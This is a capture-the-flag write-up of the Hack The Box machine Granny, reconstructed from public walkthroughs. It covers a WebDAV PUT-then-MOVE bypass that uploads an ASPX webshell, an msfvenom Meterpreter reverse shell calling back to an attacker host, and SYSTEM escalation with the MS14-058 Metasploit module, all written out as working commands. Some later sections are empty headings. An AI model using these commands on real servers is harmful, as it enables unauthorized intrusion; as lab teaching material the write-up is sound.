~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / granny.md

granny

Windows · Easy · released 2017-04-12 · retired 2017-09-09

Summary

This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.

Granny is the IIS 6.0 / WebDAV companion to its sibling box Grandpa: the same operating system (Windows Server 2003), the same vulnerable IIS, the same intended foothold path. The chain has two distinct halves. The foothold half is a misconfiguration trick: WebDAV’s PUT accepts a .txt upload but its upload filter rejects .aspx; the same WebDAV implementation’s MOVE lets you rename .txt to .aspx post-upload, which sidesteps the filter entirely. With an executable file landed in a script-mapped path, the IIS worker process executes it on next request, and the attacker has command execution as the IIS app-pool identity (NT AUTHORITY\NETWORK SERVICE on a 2003 default install).

The privilege-escalation half is “service account on Windows 2003 Server”, which is a famously soft target. Two complementary primitives apply: token kidnapping (the “Churrasco” technique) abuses Windows 2003’s SeImpersonatePrivilege, which is granted to all service accounts by default, to impersonate the SYSTEM token of any process in the same session; and the kernel-mode MS14-058 (track popup menu, CVE-2014-4113) bug yields SYSTEM via a more straightforward kernel exploit. Either lands SYSTEM. The local-exploit-suggester output on a 2003 host typically lists both.

The teaching beat is that uploads filtered by extension can almost always be defeated by the filter not understanding the vocabulary of the upload protocol — here, the WebDAV MOVE verb does not pass through the “only-allow-non-executable-extensions” check that PUT does, because the filter is implemented in terms of upload, not rename.

Source attribution

Reconstruction is grounded in the following public sources. I have not personally rooted this box; the chain below paraphrases them.

Recon

A quick TCP nmap returns a single open port, tcp/80, with an extensive list of HTTP methods enabled — far more than a normal webserver exposes:

nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open  http  Microsoft IIS httpd 6.0
| http-methods:
|_  Allowed: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND,
             PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK, PUT
| http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction

The first thing to notice is that this is not a normal web serverPROPFIND, MKCOL, LOCK, UNLOCK, and the rest are the WebDAV verb set. WebDAV is bolted onto IIS 6.0 as an optional service; when it’s enabled, the same TCP port 80 services both regular HTTP and WebDAV requests. The presence of PUT and MOVE in the allowed list is the entire foothold.

The IIS 6.0 banner is itself a near-complete fingerprint: it ships with Windows Server 2003 only, and 2003 is well past end-of-life (EOL July 2015). On a 2026 internet that fingerprint should not exist outside lab environments.

davtest is the canonical tool for probing what a WebDAV deployment will accept:

davtest -url http://<TARGET>/

The output indicates that PUT of .html, .txt, .gif, and a handful of other extensions succeeds; PUT of .aspx, .asp, .exe, and similar executable types is rejected by the upload filter. The interesting and load-bearing fact is that MOVE is not in the rejection list — only the upload of an executable extension is filtered, not its rename.

Foothold — WebDAV PUT+MOVE upload bypass

The bug class is “incomplete extension-based filter on a multi-verb protocol”. The filter implementation forbids uploading a file whose target extension is in a deny list; it does not validate the extension after a MOVE operation. So the chain is:

  1. PUT /shell.txt with the contents of an ASPX webshell. The server treats .txt as static and accepts the upload.
  2. MOVE /shell.txt → /shell.aspx. WebDAV honors the rename without re-checking the destination against the upload filter.
  3. Browse to /shell.aspx. IIS’s ASPX handler is mapped to aspnet_isapi.dll, which compiles and executes the file.

The standard ASPX webshell to use is the one shipping with Kali at /usr/share/webshells/aspx/cmdasp.aspx. Its body is one HTML form that posts the command back to itself; the code-behind invokes Process.Start("cmd.exe", "/c " + cmd) and renders stdout into the response. It is intentionally minimal; the output is HTML, which makes it easy to read in a browser but inconvenient for piping binaries.

The manual exploitation form, using curl:

# upload as .txt
curl -T /usr/share/webshells/aspx/cmdasp.aspx \
     http://<TARGET>/shell.txt

# rename to .aspx
curl -X MOVE \
     -H 'Destination: http://<TARGET>/shell.aspx' \
     http://<TARGET>/shell.txt

# trigger
curl http://<TARGET>/shell.aspx?cmd=whoami

The --data-binary flag (or -T) matters when the payload is binary — it preserves byte values that --data would URL-encode. For an ASPX text file it’s not strictly required, but make it a habit, because the same workflow is later used to upload a real Meterpreter executable.

The Metasploit module auxiliary/admin/http/iis_webdav_upload_asp automates the same primitive end-to-end:

use auxiliary/admin/http/iis_webdav_upload_asp
set RHOSTS <TARGET>
set RPORT 80
set PATH /shell.asp
set FILE <local-aspx-payload>
run

The cmdasp.aspx shell from the manual path is sufficient to drop a real Meterpreter binary by uploading a .txt-then-MOVE-to-.exe copy of msfvenom’s payload and then invoking it from the webshell:

msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=<ATTACKER> LPORT=4444 -f exe > shell.exe

# upload as .txt then move to .exe
curl -T shell.exe http://<TARGET>/shell.txt
curl -X MOVE -H 'Destination: http://<TARGET>/shell.exe' \
     http://<TARGET>/shell.txt

# trigger from cmdasp.aspx
# cmd: c:\inetpub\wwwroot\shell.exe

The Metasploit handler should be running first:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ATTACKER>; set LPORT 4444
exploit -j

Initial shell context

Whichever path you take, the initial Meterpreter session runs as NT AUTHORITY\NETWORK SERVICE — the IIS 6.0 default app-pool identity. getuid confirms.

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE

Network Service is a low-privilege account, but on Windows 2003 it holds SeImpersonatePrivilege by default. That fact is the entire basis for the next step.

Privilege escalation — MS14-058 (or token kidnapping)

local_exploit_suggester from a Meterpreter session enumerates local privilege-escalation candidates and ranks them by applicability:

meterpreter > background
msf> use post/multi/recon/local_exploit_suggester
msf> set SESSION 1
msf> run

On Windows 2003 the suggester lists multiple viable candidates, including:

Any of them works. The MS14-058 path is the most conventional:

msf> use exploit/windows/local/ms14_058_track_popup_menu
msf> set SESSION 1
msf> set LHOST <ATTACKER>; set LPORT 4445
msf> exploit

A new Meterpreter session lands as NT AUTHORITY\SYSTEM:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Both flags are then trivially readable:

meterpreter > cat "C:\\Documents and Settings\\Lakis\\Desktop\\user.txt"
meterpreter > cat "C:\\Documents and Settings\\Administrator\\Desktop\\root.txt"

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗